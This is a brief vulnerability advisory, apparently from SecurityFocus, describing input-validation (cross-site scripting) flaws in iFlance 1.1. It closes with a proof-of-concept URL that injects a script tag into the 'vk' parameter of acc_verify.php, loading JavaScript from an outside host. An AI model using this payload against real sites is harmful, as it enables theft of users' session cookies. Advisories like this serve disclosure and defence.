source: https://www.securityfocus.com/bid/18399/info

iFlance is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input to the application. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.1; other versions may also be vulnerable.

http://www.example.com/account/acc_verify.php?vk="><SCRIPT%20SRC=http://ha.ckers.org/xss.js></SCRIPT><"&verify=verify